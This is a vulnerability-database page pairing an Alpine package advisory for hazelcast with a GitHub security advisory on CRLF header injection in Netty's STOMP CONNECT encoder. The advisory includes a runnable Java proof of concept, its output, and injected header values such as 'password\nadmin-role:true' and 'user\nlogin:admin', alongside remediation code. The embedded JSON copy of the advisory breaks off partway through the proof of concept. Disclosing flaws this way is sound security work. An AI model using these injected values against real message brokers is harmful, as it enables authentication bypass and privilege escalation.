Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package hazelcast version 5.7.0-r1 fixes 107 vulnerabilities: ghsa-j3rv-43j4-c7qm, ghsa-rmj7-2vxq-3g9f, ghsa-5gvw-p9qm-jgwh, ghsa-5jmj-h7xm-6q6v, ghsa-5hh8-q8hv-fr38...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "hazelcast"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.7.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.7.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package hazelcast version 5.7.0-r1 fixes 107 vulnerabilities: ghsa-j3rv-43j4-c7qm, ghsa-rmj7-2vxq-3g9f, ghsa-5gvw-p9qm-jgwh, ghsa-5jmj-h7xm-6q6v, ghsa-5hh8-q8hv-fr38...",
"id": "CLEANSTART-2026-VQ70387",
"modified": "2026-08-14T05:56:48Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hazelcast/hazelcast"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in hazelcast 5.7.0-r1",
"upstream": [
"ghsa-j3rv-43j4-c7qm",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-5gvw-p9qm-jgwh",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-5hh8-q8hv-fr38",
"ghsa-rcqc-6cw3-h962",
"ghsa-3qp7-7mw8-wx86",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-c653-97m9-rcg9",
"ghsa-cm33-6792-r9fm",
"ghsa-6jv9-x5w9-2ccm",
"ghsa-3244-j874-rhc2",
"ghsa-5w86-c3rq-vjj7",
"ghsa-6ghj-frrj-jjj3",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-c2gf-v879-257j",
"ghsa-563q-j3cm-6jxm",
"ghsa-vhch-2wf3-m8rp",
"ghsa-5xrh-qmmq-w6ch",
"ghsa-vx9q-rhv9-3jvg",
"CVE-2025-67721",
"ghsa-45q3-82m4-75jr",
"ghsa-4qhr-g3c6-fcfx",
"ghsa-jfg9-48mv-9qgx",
"ghsa-337m-mw94-2v6g",
"ghsa-5pvg-856g-cp85",
"ghsa-676x-f7gg-47vc",
"ghsa-xmv7-r254-6q78",
"ghsa-hvw5-3mgw-7rcf",
"ghsa-r7wm-3cxj-wff9",
"ghsa-9fxm-vc8v-hj55",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"ghsa-mhm7-754m-9p8w",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-54516",
"CVE-2026-54517",
"CVE-2026-54518",
"CVE-2026-59888",
"CVE-2026-59889",
"ghsa-xx22-p4ch-683r",
"CVE-2026-59949",
"ghsa-38f8-5428-x5cv",
"ghsa-hvcg-qmg6-jm4c",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-272m-gcwp-mpwg",
"ghsa-g7hg-vrcf-mvmr",
"ghsa-wc96-39fc-566f",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-c69g-56f8-xwqj",
"ghsa-rgrr-p7gp-5xj7",
"ghsa-w573-9ffj-6ff9",
"ghsa-558v-64gr-wgg4",
"CVE-2026-42583",
"CVE-2026-59901",
"ghsa-v74w-7mr3-4qg3",
"ghsa-mfg7-5gfp-c4w3",
"CVE-2026-42579",
"ghsa-wh89-7897-x99h",
"CVE-2026-44893",
"CVE-2026-48059",
"ghsa-3g8r-4pfx-jmfh",
"CVE-2026-42584",
"CVE-2026-42587",
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-41417",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42585",
"CVE-2026-50020",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"CVE-2026-55851",
"CVE-2026-59919",
"CVE-2026-47244",
"CVE-2026-48043",
"CVE-2026-50560",
"CVE-2026-59900",
"CVE-2026-44248",
"CVE-2026-44250",
"CVE-2026-44890",
"CVE-2026-48006",
"CVE-2026-50011",
"CVE-2026-42586",
"CVE-2026-44891",
"CVE-2026-59920",
"CVE-2026-56817",
"CVE-2026-44249",
"CVE-2026-45416",
"CVE-2026-50010",
"CVE-2026-42578",
"CVE-2026-56820",
"CVE-2026-56821",
"CVE-2026-56822",
"CVE-2026-45674",
"CVE-2026-47691",
"CVE-2026-45673",
"CVE-2026-45536"
]
}
GHSA-3G8R-4PFX-JMFH
Vulnerability from github – Published: 2026-07-22 21:52 – Updated: 2026-07-22 21:52Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-stomp) |
| Component | io.netty.handler.codec.stomp.StompSubframeEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |
| Impact | STOMP Header Injection / Authentication Bypass |
| CVSS 3.1 Score | 6.5 (Medium) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | None |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
io.netty.handler.codec.stomp.StompSubframeEncoder—encodeHeaders()method (lines 174-200)io.netty.handler.codec.stomp.StompSubframeEncoder—shouldEscape()method (lines 214-216)
3. Vulnerability Description
The Netty STOMP codec encoder (StompSubframeEncoder) intentionally skips the escape() function for CONNECT and CONNECTED commands. This means that newline characters (\n) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.
Root Cause
In StompSubframeEncoder.java, the shouldEscape() method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:
private static boolean shouldEscape(StompCommand command) {
return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;
}
When shouldEscape() returns false, header values are written without any escaping (line 195):
CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();
ByteBufUtil.writeUtf8(buf, headerValue); // Raw \n written to output
buf.writeByte(StompConstants.LF);
For other commands (SEND, SUBSCRIBE, etc.), the escape() method (lines 218-240) correctly converts \n to \\n, \r to \\r, : to \\c, and \\ to \\\\.
STOMP Specification Context and Security Analysis
The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should not use escaping, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.
However, "no escaping" does not mean "no validation". The specification's intent is that CONNECT headers should not use the \n → \\n escape notation. It does not mandate that implementations must accept raw newline characters within header values. There is a critical distinction:
- Escaping = converting
\nto\\nin the wire format (spec says: don't do this for CONNECT) - Validation = rejecting header values that contain
\n(spec does not prohibit this)
Netty's implementation conflates these two concepts: by skipping escape(), it also skips all protection against newline injection. The correct behavior would be to skip escaping but still reject values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw \n.
This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.
Additionally, Netty's own test suite explicitly validates this non-escaping behavior in StompSubframeEncoderTest.java:126-143 (testNotEscapeStompHeadersForConnectCommand), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.
Summary: The vulnerability exists because:
- Header values in CONNECT frames are neither escaped nor validated for newlines
- A raw newline in a header value creates a new header line on the wire
- The STOMP broker parses each line as a separate header
- The fix should validate (reject
\n) rather than escape (convert\nto\\n), maintaining spec compliance
4. Exploitability Prerequisites
This vulnerability is exploitable when all of the following conditions are met:
- The application uses Netty's
codec-stompmodule to encode STOMP frames - User-controlled input is placed into header values of a
CONNECTorCONNECTEDframe - The application does not perform its own newline sanitization
- The downstream STOMP broker processes the injected headers (broker-dependent)
Typical affected use cases: - STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials - Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms - Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames
5. Attack Scenarios
Scenario 1: Authentication Bypass via Header Injection
An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().set(StompHeaders.HOST, "localhost");
frame.headers().set(StompHeaders.LOGIN, "guest");
// Attacker injects a role header via \n in passcode
frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true");
Wire format sent to broker:
CONNECT
host:localhost
login:guest
passcode:password
admin-role:true <-- INJECTED HEADER
<-- Empty line (end of headers)
\0
The broker receives 5 headers instead of the intended 4. If the broker checks for an admin-role header to grant elevated privileges, the attacker bypasses authentication.
Scenario 2: Subscription Hijacking
frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com");
This overwrites the host header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).
Scenario 3: Header Overwrite
frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin");
Wire format:
CONNECT
login:user
login:admin <-- INJECTED, may override first
...
Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the admin account.
6. Proof of Concept
Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.stomp.*;
import java.nio.charset.StandardCharsets;
/**
* PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability
*
* Demonstrates that StompSubframeEncoder skips escape() for CONNECT and
* CONNECTED commands, allowing \n injection in header values to create
* additional STOMP headers.
*/
public class StompConnectHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n");
testConnectHeaderInjection();
testConnectVsOtherCommand();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: CONNECT command header injection via \n in value
*/
static void testConnectHeaderInjection() {
System.out.println("[TEST 1] CONNECT Header Value Injection");
System.out.println("-----------------------------------------");
// Craft a CONNECT frame with \n in passcode value
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.HOST, "localhost");
headers.set(StompHeaders.ACCEPT_VERSION, "1.2");
headers.set(StompHeaders.LOGIN, "user");
headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true");
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input passcode: \"password\\nadmin-role:true\"");
System.out.println();
System.out.println("Encoded STOMP frame:");
System.out.println("---");
// Show with visible control chars
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r").replace("\0", "\\0"));
}
System.out.println("---");
// Check if the injected header appears as a separate line
boolean hasInjectedHeader = false;
String[] lines = encoded.split("\n");
for (String line : lines) {
if (line.startsWith("admin-role:")) {
hasInjectedHeader = true;
break;
}
}
System.out.println();
System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader);
System.out.println("VULNERABLE: " + (hasInjectedHeader ?
"YES - Header injection in CONNECT frame!" : "NO"));
// Count actual STOMP headers (lines between command and empty line)
int headerCount = 0;
boolean inHeaders = false;
for (String line : lines) {
if (line.equals("CONNECT")) {
inHeaders = true;
continue;
}
if (inHeaders && line.trim().isEmpty()) break;
if (inHeaders && line.contains(":")) headerCount++;
}
System.out.println("Expected headers: 4 (host, accept-version, login, passcode)");
System.out.println("Actual headers: " + headerCount);
System.out.println();
}
/**
* Test 2: Compare CONNECT (no escape) vs SEND (with escape)
*/
static void testConnectVsOtherCommand() {
System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison");
System.out.println("--------------------------------------------");
String maliciousValue = "value\ninjected:evil";
// Test CONNECT (no escape)
{
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.HOST, "localhost");
headers.set("custom", maliciousValue);
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":");
System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
boolean hasRawNewline = encoded.contains("value\ninjected:evil");
System.out.println(" Raw \\n in output: " + hasRawNewline);
System.out.println(" VULNERABLE: " + (hasRawNewline ? "YES" : "NO"));
}
System.out.println();
// Test SEND (with escape)
{
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.DESTINATION, "/queue/test");
headers.set("custom", maliciousValue);
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("SEND frame with custom=\"value\\ninjected:evil\":");
System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil");
boolean hasRawNewline = encoded.contains("value\ninjected:evil");
System.out.println(" Escaped \\n: " + hasEscapedNewline);
System.out.println(" Raw \\n: " + hasRawNewline);
System.out.println(" SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO"));
}
System.out.println();
}
}
How to Compile and Run
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \
-Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
-Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" StompConnectHeaderInjectionPoC.java
java -cp "$JARS:." StompConnectHeaderInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty STOMP CONNECT Header Injection PoC ===
[TEST 1] CONNECT Header Value Injection
-----------------------------------------
Input passcode: "password\nadmin-role:true"
Encoded STOMP frame:
---
CONNECT
host:localhost
accept-version:1.2
login:user
passcode:password
admin-role:true <-- INJECTED HEADER
\0
---
Injected 'admin-role' appears as separate header: true
VULNERABLE: YES - Header injection in CONNECT frame!
Expected headers: 4 (host, accept-version, login, passcode)
Actual headers: 5
[TEST 2] CONNECT vs SEND Escape Comparison
--------------------------------------------
CONNECT frame with custom="value\ninjected:evil":
Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0
Raw \n in output: true
VULNERABLE: YES
SEND frame with custom="value\ninjected:evil":
Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0
Escaped \n: true
Raw \n: false
SAFE: YES
=== PoC Complete ===
Key Observation
The PoC demonstrates a clear inconsistency:
- CONNECT command: \n is written raw → header injection succeeds
- SEND command: \n is escaped to \\n → header injection prevented
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Authentication | Injected headers may bypass broker authentication logic |
| Authorization | Role escalation via injected role/permission headers |
| Integrity | Modification of connection parameters (host, version, etc.) |
| Broker-Specific | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |
Affected Brokers
This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:
- RabbitMQ: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins
- ActiveMQ: May process custom headers for internal routing
- Custom Brokers: Most likely to be affected if they trust all received headers
8. Remediation Recommendations
Option 1: Validate CONNECT Header Values (Recommended)
Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:
private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {
StompCommand command = frame.command();
ByteBufUtil.writeUtf8(buf, command.toString());
buf.writeByte(StompConstants.LF);
boolean shouldEscape = shouldEscape(command);
for (Entry<CharSequence, CharSequence> entry : frame.headers()) {
CharSequence headerKey = entry.getKey();
CharSequence headerValue = entry.getValue();
if (shouldEscape) {
headerKey = escape(headerKey);
headerValue = escape(headerValue);
} else {
// For CONNECT/CONNECTED: don't escape but REJECT newlines
validateNoNewlines(headerKey, "header name");
validateNoNewlines(headerValue, "header value");
}
ByteBufUtil.writeUtf8(buf, headerKey);
buf.writeByte(StompConstants.COLON);
ByteBufUtil.writeUtf8(buf, headerValue);
buf.writeByte(StompConstants.LF);
}
buf.writeByte(StompConstants.LF);
}
private static void validateNoNewlines(CharSequence value, String type) {
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c == '\n' || c == '\r') {
throw new IllegalArgumentException(
"STOMP CONNECT " + type + " contains illegal newline at index " + i);
}
}
}
Option 2: Apply Escaping to All Commands
Simply remove the CONNECT/CONNECTED exception:
private static boolean shouldEscape(StompCommand command) {
return true; // Always escape
}
Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.
9. References
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-stomp"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-stomp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59920"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:52:27Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |\n| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |\n| **Impact** | STOMP Header Injection / Authentication Bypass |\n| **CVSS 3.1 Score** | **6.5 (Medium)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | None |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` \u2014 `encodeHeaders()` method (lines 174-200)\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` \u2014 `shouldEscape()` method (lines 214-216)\n\n## 3. Vulnerability Description\n\nThe Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.\n\n### Root Cause\n\nIn `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n return command != StompCommand.CONNECT \u0026\u0026 command != StompCommand.CONNECTED;\n}\n```\n\nWhen `shouldEscape()` returns `false`, header values are written without any escaping (line 195):\n\n```java\nCharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();\nByteBufUtil.writeUtf8(buf, headerValue); // Raw \\n written to output\nbuf.writeByte(StompConstants.LF);\n```\n\nFor other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\\n` to `\\\\n`, `\\r` to `\\\\r`, `:` to `\\\\c`, and `\\\\` to `\\\\\\\\`.\n\n### STOMP Specification Context and Security Analysis\n\nThe STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.\n\n**However, \"no escaping\" does not mean \"no validation\".** The specification\u0027s intent is that CONNECT headers should not use the `\\n` \u2192 `\\\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:\n\n- **Escaping** = converting `\\n` to `\\\\n` in the wire format (spec says: don\u0027t do this for CONNECT)\n- **Validation** = rejecting header values that contain `\\n` (spec does not prohibit this)\n\nNetty\u0027s implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed \u2014 no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\\n`.\n\nThis is analogous to Netty\u0027s own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don\u0027t need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.\n\n**Additionally**, Netty\u0027s own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice \u2014 but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.\n\n**Summary**: The vulnerability exists because:\n\n1. Header values in CONNECT frames are **neither escaped nor validated** for newlines\n2. A raw newline in a header value creates a **new header line** on the wire\n3. The STOMP broker parses each line as a separate header\n4. The fix should **validate** (reject `\\n`) rather than **escape** (convert `\\n` to `\\\\n`), maintaining spec compliance\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-stomp` module to encode STOMP frames\n2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame\n3. The application does **not** perform its own newline sanitization\n4. The downstream STOMP broker processes the injected headers (broker-dependent)\n\n**Typical affected use cases**:\n- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials\n- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms\n- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Authentication Bypass via Header Injection\n\nAn attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:\n\n```java\nDefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\nframe.headers().set(StompHeaders.HOST, \"localhost\");\nframe.headers().set(StompHeaders.LOGIN, \"guest\");\n// Attacker injects a role header via \\n in passcode\nframe.headers().set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n```\n\n**Wire format sent to broker:**\n```\nCONNECT\nhost:localhost\nlogin:guest\npasscode:password\nadmin-role:true \u003c-- INJECTED HEADER\n \u003c-- Empty line (end of headers)\n\\0\n```\n\nThe broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.\n\n### Scenario 2: Subscription Hijacking\n\n```java\nframe.headers().set(StompHeaders.PASSCODE, \"pass\\nhost:evil-broker.com\");\n```\n\nThis overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).\n\n### Scenario 3: Header Overwrite\n\n```java\nframe.headers().set(StompHeaders.LOGIN, \"user\\nlogin:admin\");\n```\n\n**Wire format:**\n```\nCONNECT\nlogin:user\nlogin:admin \u003c-- INJECTED, may override first\n...\n```\n\nSome brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.stomp.*;\n\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability\n *\n * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and\n * CONNECTED commands, allowing \\n injection in header values to create\n * additional STOMP headers.\n */\npublic class StompConnectHeaderInjectionPoC {\n\n public static void main(String[] args) {\n System.out.println(\"=== Netty STOMP CONNECT Header Injection PoC ===\\n\");\n\n testConnectHeaderInjection();\n testConnectVsOtherCommand();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n /**\n * Test 1: CONNECT command header injection via \\n in value\n */\n static void testConnectHeaderInjection() {\n System.out.println(\"[TEST 1] CONNECT Header Value Injection\");\n System.out.println(\"-----------------------------------------\");\n\n // Craft a CONNECT frame with \\n in passcode value\n DefaultStompHeaders headers = new DefaultStompHeaders();\n headers.set(StompHeaders.HOST, \"localhost\");\n headers.set(StompHeaders.ACCEPT_VERSION, \"1.2\");\n headers.set(StompHeaders.LOGIN, \"user\");\n headers.set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n\n DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n frame.headers().setAll(headers);\n\n EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n channel.writeOutbound(frame);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input passcode: \\\"password\\\\nadmin-role:true\\\"\");\n System.out.println();\n System.out.println(\"Encoded STOMP frame:\");\n System.out.println(\"---\");\n // Show with visible control chars\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\").replace(\"\\0\", \"\\\\0\"));\n }\n System.out.println(\"---\");\n\n // Check if the injected header appears as a separate line\n boolean hasInjectedHeader = false;\n String[] lines = encoded.split(\"\\n\");\n for (String line : lines) {\n if (line.startsWith(\"admin-role:\")) {\n hasInjectedHeader = true;\n break;\n }\n }\n\n System.out.println();\n System.out.println(\"Injected \u0027admin-role\u0027 appears as separate header: \" + hasInjectedHeader);\n System.out.println(\"VULNERABLE: \" + (hasInjectedHeader ?\n \"YES - Header injection in CONNECT frame!\" : \"NO\"));\n\n // Count actual STOMP headers (lines between command and empty line)\n int headerCount = 0;\n boolean inHeaders = false;\n for (String line : lines) {\n if (line.equals(\"CONNECT\")) {\n inHeaders = true;\n continue;\n }\n if (inHeaders \u0026\u0026 line.trim().isEmpty()) break;\n if (inHeaders \u0026\u0026 line.contains(\":\")) headerCount++;\n }\n System.out.println(\"Expected headers: 4 (host, accept-version, login, passcode)\");\n System.out.println(\"Actual headers: \" + headerCount);\n System.out.println();\n }\n\n /**\n * Test 2: Compare CONNECT (no escape) vs SEND (with escape)\n */\n static void testConnectVsOtherCommand() {\n System.out.println(\"[TEST 2] CONNECT vs SEND Escape Comparison\");\n System.out.println(\"--------------------------------------------\");\n\n String maliciousValue = \"value\\ninjected:evil\";\n\n // Test CONNECT (no escape)\n {\n DefaultStompHeaders headers = new DefaultStompHeaders();\n headers.set(StompHeaders.HOST, \"localhost\");\n headers.set(\"custom\", maliciousValue);\n\n DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n frame.headers().setAll(headers);\n EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n channel.writeOutbound(frame);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"CONNECT frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n System.out.println(\" Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n System.out.println(\" Raw \\\\n in output: \" + hasRawNewline);\n System.out.println(\" VULNERABLE: \" + (hasRawNewline ? \"YES\" : \"NO\"));\n }\n\n System.out.println();\n\n // Test SEND (with escape)\n {\n DefaultStompHeaders headers = new DefaultStompHeaders();\n headers.set(StompHeaders.DESTINATION, \"/queue/test\");\n headers.set(\"custom\", maliciousValue);\n\n DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);\n frame.headers().setAll(headers);\n EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n channel.writeOutbound(frame);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"SEND frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n System.out.println(\" Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n boolean hasEscapedNewline = encoded.contains(\"value\\\\ninjected\\\\cevil\");\n boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n System.out.println(\" Escaped \\\\n: \" + hasEscapedNewline);\n System.out.println(\" Raw \\\\n: \" + hasRawNewline);\n System.out.println(\" SAFE: \" + (hasEscapedNewline \u0026\u0026 !hasRawNewline ? \"YES\" : \"NO\"));\n 